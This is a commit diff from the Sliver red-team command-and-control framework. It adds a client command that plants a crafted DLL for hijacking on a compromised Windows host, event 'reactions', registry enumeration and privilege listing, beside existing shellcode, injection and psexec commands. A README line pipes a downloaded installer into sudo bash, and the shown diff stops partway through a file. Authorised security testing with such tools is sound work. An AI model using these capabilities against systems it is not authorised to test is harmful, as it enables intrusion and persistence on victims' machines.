Fix error check during client cert generation

DLL Hijack update

.dockerignore

@@ -1,28 +1,21 @@
-assets/*.zip
-assets/darwin
-assets/linux
-assets/windows
-server/assets/fs/**.zip
+/server/assets/fs/**.zip
 
-*.sdk.tar.xz
+/*.sdk.tar.xz
 
-sliver-server
-sliver-server.exe
+/sliver-server
+/sliver-server.exe
 
-sliver-client
-sliver-client.exe
+/sliver-client
+/sliver-client.exe
 
-gui/
-gui/*
+/.vscode/
+/.vscode/*
 
-.vscode/
-.vscode/*
+/.github/
+/.github/*
 
-.github/
-.github/*
-
-build.py
-LICENSE
-SECURITY.md
-README.md
-CONTRIBUTING.md
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -59,10 +59,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.16
+      - name: Go 1.17
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.16"
+          go-version: "^1.17"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -15,10 +15,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -50,10 +50,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.gitignore

@@ -1,10 +1,10 @@
-.vscode/*
-.devcontainer
+/.vscode/*
+/.devcontainer
 
-Dockerfile.*
-*.sdk.tar.xz
+/Dockerfile.*
+/*.sdk.tar.xz
 
-release-*
+/release-*
 
 # Diffs
 *.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-*.test
+/*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.16.5
+FROM golang:1.17
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #
 
-# protoc
+# Protoc
 WORKDIR /tmp
 RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
     && cp -vv ./bin/protoc /usr/local/bin
-
 RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
     && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
 
-# assets
+# Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
 RUN ./go-assets.sh
 
+# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
+RUN make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 
 
-RUN ls -lah \
-    && /opt/sliver-server unpack --force \
-    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
 RUN make clean \
     && rm -rf /go/src/* \
     && rm -rf /home/sliver/.sliver

README.md

@@ -1,7 +1,7 @@
 Sliver
 ======
 
-Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
@@ -15,7 +15,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 * Staged and Stageless payloads
 * [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
 * [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
-* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
+* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
 * Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
 * Local and remote process injection
 * Windows process migration
@@ -28,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 
 Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
 
+#### Linux One Liner
+
+`curl https://sliver.sh/install|sudo bash` and then run `sliver`
+
 ### Help!
 
 Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.

client/README.md

@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
 __Important:__ No code in this directory can import any code from `server/`.
 
  * `assets/` - Static asset files and management code (e.g. client configs)
- * `command/` - Command implementations
+ * `cli/` - Command line interface implementation
+ * `command/` - Console command implementations
  * `constants/` - Various shared constant values
  * `core/` - Client state management
- * `help/` - Console help
+ * `licenses/` - Open source licenses 
  * `spin/` - Console spinner library
+ * `tcpproxy/` - Local TCP proxy listener code
  * `transport/` - Wires the client to the server
  * `version/` - Version information
  * `main.go` - Entrypoint

client/command/backdoor/backdoor.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// BackdoorCmd - Command to inject implant code into an existing binary
 func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/commands.go

@@ -34,7 +34,10 @@ package command
 */
 
 import (
+	"os"
+
 	"github.com/bishopfox/sliver/client/command/backdoor"
+	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
 	"github.com/bishopfox/sliver/client/command/extensions"
@@ -51,6 +54,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/portfwd"
 	"github.com/bishopfox/sliver/client/command/privilege"
 	"github.com/bishopfox/sliver/client/command/processes"
+	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/registry"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
@@ -71,6 +75,13 @@ const (
 // BindCommands - Bind commands to a App
 func BindCommands(con *console.SliverConsoleClient) {
 
+	n, err := reaction.LoadReactions()
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("Failed to load reactions: %s\n", err)
+	} else if n > 0 {
+		con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
+	}
+
 	con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
 
 	// [ Update ] --------------------------------------------------------------
@@ -138,7 +149,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Start an mTLS listener",
 		LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("s", "server", "", "interface to bind server to")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultMTLSLPort, "tcp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -158,9 +169,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Start a WireGuard listener",
 		LongHelp: help.GetHelpFor([]string{consts.WGStr}),
 		Flags: func(f *grumble.Flags) {
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
 			f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
-			f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun inteface key exchange port")
+			f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
 		},
@@ -180,6 +192,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
 			f.Bool("c", "no-canaries", false, "disable dns canary detection")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -201,6 +214,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domain", "", "limit responses to specific domain")
 			f.String("w", "website", "", "website name (see websites cmd)")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -222,6 +236,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domain", "", "limit responses to specific domain")
 			f.String("w", "website", "", "website name (see websites cmd)")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
 
 			f.String("c", "cert", "", "PEM encoded certificate file")
@@ -596,7 +611,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Load and execute a shared object (shared library/DLL) in a remote process",
 		LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("a", "args", "", "Arguments for the shared library function")
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.Bool("s", "save", false, "save output to file")
@@ -605,6 +619,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the shared library file")
+			a.StringList("args", "arguments for the binary", grumble.Default([]string{}))
 		},
 		HelpGroup: consts.SliverHelpGroup,
 		Run: func(ctx *grumble.Context) error {
@@ -664,7 +679,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
-			f.String("o", "lhost", "", "listen host")
+			f.String("L", "lhost", "", "listen host")
 			f.Int("l", "lport", 4444, "listen port")
 			f.String("e", "encoder", "", "msf encoder")
 			f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -687,7 +702,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Int("p", "pid", -1, "pid to inject into")
 			f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
-			f.String("o", "lhost", "", "listen host")
+			f.String("L", "lhost", "", "listen host")
 			f.Int("l", "lport", 4444, "listen port")
 			f.String("e", "encoder", "", "msf encoder")
 			f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -808,8 +823,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("o", "os", "windows", "operating system")
 			f.String("a", "arch", "amd64", "cpu architecture")
-			f.String("l", "lhost", "", "Listening host")
-			f.Int("p", "lport", 8443, "Listening port")
+			f.String("L", "lhost", "", "Listening host")
+			f.Int("l", "lport", 8443, "Listening port")
 			f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
 			f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
 			f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
@@ -1023,6 +1038,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.LsStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("r", "reverse", false, "reverse sort order")
+			f.Bool("m", "modified", false, "sort by modified time")
+			f.Bool("s", "size", false, "sort by size")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to enumerate", grumble.Default("."))
@@ -1119,6 +1137,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("c", "colorize-output", false, "colorize output")
+			f.Bool("x", "hex", false, "display as a hex dump")
 			f.Bool("X", "loot", false, "save output as loot")
 		},
 		Args: func(a *grumble.Args) {
@@ -1529,10 +1548,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 	// [ Environment ] ---------------------------------------------
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.GetEnvStr,
+	envCmd := &grumble.Command{
+		Name:     consts.EnvStr,
 		Help:     "List environment variables",
-		LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}),
+		LongHelp: help.GetHelpFor([]string{consts.EnvStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1546,12 +1565,11 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		HelpGroup: consts.GenericHelpGroup,
-	})
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.SetEnvStr,
+	}
+	envCmd.AddCommand(&grumble.Command{
+		Name:     consts.SetStr,
 		Help:     "Set environment variables",
-		LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}),
+		LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1567,11 +1585,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.UnsetEnvStr,
+	envCmd.AddCommand(&grumble.Command{
+		Name:     consts.UnsetStr,
 		Help:     "Clear environment variables",
-		LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}),
+		LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}),
 		Args: func(a *grumble.Args) {
 			a.String("name", "environment variable name")
 		},
@@ -1586,6 +1603,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	con.App.AddCommand(envCmd)
+
+	// [ Licenses ] ---------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.LicensesStr,
@@ -1611,7 +1631,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
 	}
-
 	registryCmd.AddCommand(&grumble.Command{
 		Name:     consts.RegistryReadStr,
 		Help:     "Read values from the Windows registry",
@@ -1627,7 +1646,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.String("H", "hive", "HKCU", "egistry hive")
+			f.String("H", "hive", "HKCU", "registry hive")
 			f.String("o", "hostname", "", "remote host to read values from")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1674,6 +1693,45 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("o", "hostname", "", "remote host to write values to")
 		},
 	})
+	registryCmd.AddCommand(&grumble.Command{
+		Name:     consts.RegistryListSubStr,
+		Help:     "List the sub keys under a registry key",
+		LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
+		Args: func(a *grumble.Args) {
+			a.String("registry-path", "registry path")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			registry.RegListSubKeysCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("H", "hive", "HKCU", "registry hive")
+			f.String("o", "hostname", "", "remote host to write values to")
+		},
+	})
+
+	registryCmd.AddCommand(&grumble.Command{
+		Name:     consts.RegistryListValuesStr,
+		Help:     "List the values for a registry key",
+		LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
+		Args: func(a *grumble.Args) {
+			a.String("registry-path", "registry path")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			registry.RegListValuesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("H", "hive", "HKCU", "registry hive")
+			f.String("o", "hostname", "", "remote host to write values to")
+		},
+	})
 	con.App.AddCommand(registryCmd)
 
 	// [ Pivots ] --------------------------------------------------------------
@@ -1846,6 +1904,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 	con.App.AddCommand(wgSocksCmd)
 
 	// [ Portfwd ] --------------------------------------------------------------
+
 	portfwdCmd := &grumble.Command{
 		Name:     consts.PortfwdStr,
 		Help:     "In-band TCP port forwarding",
@@ -1897,6 +1956,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 	con.App.AddCommand(portfwdCmd)
 
 	// [ Monitor ] --------------------------------------------------------------
+
 	monitorCmd := &grumble.Command{
 		Name: consts.MonitorStr,
 		Help: "Monitor threat intel platforms for Sliver implants",
@@ -2054,4 +2114,118 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.GenericHelpGroup,
 	})
 	con.App.AddCommand(lootCmd)
+
+	// [ Reactions ] -----------------------------------------------------------------
+
+	reactionCmd := &grumble.Command{
+		Name:     consts.ReactionStr,
+		Help:     "Manage automatic reactions to events",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.SetStr,
+		Help:     "Set a reaction to an event",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "event", "", "specify the event type to react to")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionSetCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.UnsetStr,
+		Help:     "Unset an existing reaction",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("i", "id", 0, "the id of the reaction to remove")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionUnsetCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.SaveStr,
+		Help:     "Save current reactions to disk",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionSaveCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.ReloadStr,
+		Help:     "Reload reactions from disk, replaces the running configuration",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionReloadCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	con.App.AddCommand(reactionCmd)
+
+	// [ DLL Hijack ] -----------------------------------------------------------------
+
+	dllhijackCmd := &grumble.Command{
+		Name:      consts.DLLHijackStr,
+		Help:      "Plant a DLL for a hijack scenario",
+		LongHelp:  help.GetHelpFor([]string{consts.DLLHijackStr}),
+		HelpGroup: consts.SliverWinHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			dllhijack.DllHijackCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("target-path", "Path to upload the DLL to on the remote system")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("r", "reference-path", "", "Path to the reference DLL on the remote system")
+			f.String("R", "reference-file", "", "Path to the reference DLL on the local system")
+			f.String("f", "file", "", "Local path to the DLL to plant for the hijack")
+			f.String("p", "profile", "", "Profile name to use as a base DLL")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(dllhijackCmd)
+
+	// [ Get Privs ] -----------------------------------------------------------------
+	getprivsCmd := &grumble.Command{
+		Name:      consts.GetPrivsStr,
+		Help:      "Get current privileges (Windows)",
+		LongHelp:  help.GetHelpFor([]string{consts.GetPrivsStr}),
+		HelpGroup: consts.SliverWinHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			privilege.GetPrivsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(getprivsCmd)
 }

client/command/dllhijack/README.md

@@ -0,0 +1,4 @@
+DLL Hijack
+===========
+
+Implements command related to `dllhijack`.

client/command/dllhijack/dllhijack.go

@@ -0,0 +1,97 @@
+package dllhijack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll  TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH
+
+// DllHijackCmd -- implements the dllhijack command
+func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		localRefData  []byte
+		targetDLLData []byte
+		err           error
+	)
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	targetPath := ctx.Args.String("target-path")
+	referencePath := ctx.Flags.String("reference-path")
+	localFile := ctx.Flags.String("file")
+	profileName := ctx.Flags.String("profile")
+	localReferenceFilePath := ctx.Flags.String("reference-file")
+
+	if referencePath == "" {
+		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
+		return
+	}
+
+	if localReferenceFilePath != "" {
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
+		if err != nil {
+			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
+			return
+		}
+	}
+
+	if localFile != "" {
+		if profileName != "" {
+			con.PrintErrorf("please use either --profile or --File")
+			return
+		}
+		targetDLLData, err = ioutil.ReadFile(localFile)
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
+		ReferenceDLLPath: referencePath,
+		TargetLocation:   targetPath,
+		ReferenceDLL:     localRefData,
+		TargetDLL:        targetDLLData,
+		Request:          con.ActiveSession.Request(ctx),
+		ProfileName:      profileName,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("DLL uploaded to %s\n", targetPath)
+}

client/command/environment/get.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// EnvGetCmd - Get a remote environment variable
 func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.Get()
 	if session == nil {

client/command/environment/set.go

@@ -27,6 +27,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// EnvSetCmd - Set a remote environment variable
 func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.Get()
 	if session == nil {

client/command/environment/unset.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// EnvUnsetCmd - Unset a remote environment variable
 func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.Get()
 	if session == nil {

client/command/exec/execute-assembly.go

@@ -30,8 +30,9 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
 func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}

client/command/exec/execute-shellcode.go

@@ -35,6 +35,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ExecuteShellcodeCmd - Execute shellcode in-memory
 func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/exec/execute.go

@@ -26,6 +26,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// ExecuteCmd - Run a command on the remote system
 func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/exec/migrate.go

@@ -24,6 +24,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MigrateCmd - Windows only, inject an implant into another process
 func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.Get()
 	if session == nil {
@@ -31,7 +32,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	pid := ctx.Args.Uint("pid")
-	config := con.GetActiveSliverConfig()
+	config := con.GetActiveSessionConfig()
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{

client/command/exec/msf-inject.go

@@ -29,6 +29,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MsfInjectCmd - Inject a metasploit payload into a remote process
 func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/exec/msf.go

@@ -29,6 +29,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// MsfCmd - Inject a metasploit payload into the current remote process
 func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/exec/psexec.go

@@ -34,6 +34,7 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+// PsExecCmd - psexec command implementation.
 func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {

client/command/exec/sideload.go

@@ -21,12 +21,15 @@ import (
 	"io/ioutil"
 	"os"
 	"path"
+	"path/filepath"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
+// SideloadCmd - Sideload a shared library on the remote system
 func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveSession.Get()
 	if session == nil {
@@ -37,13 +40,14 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
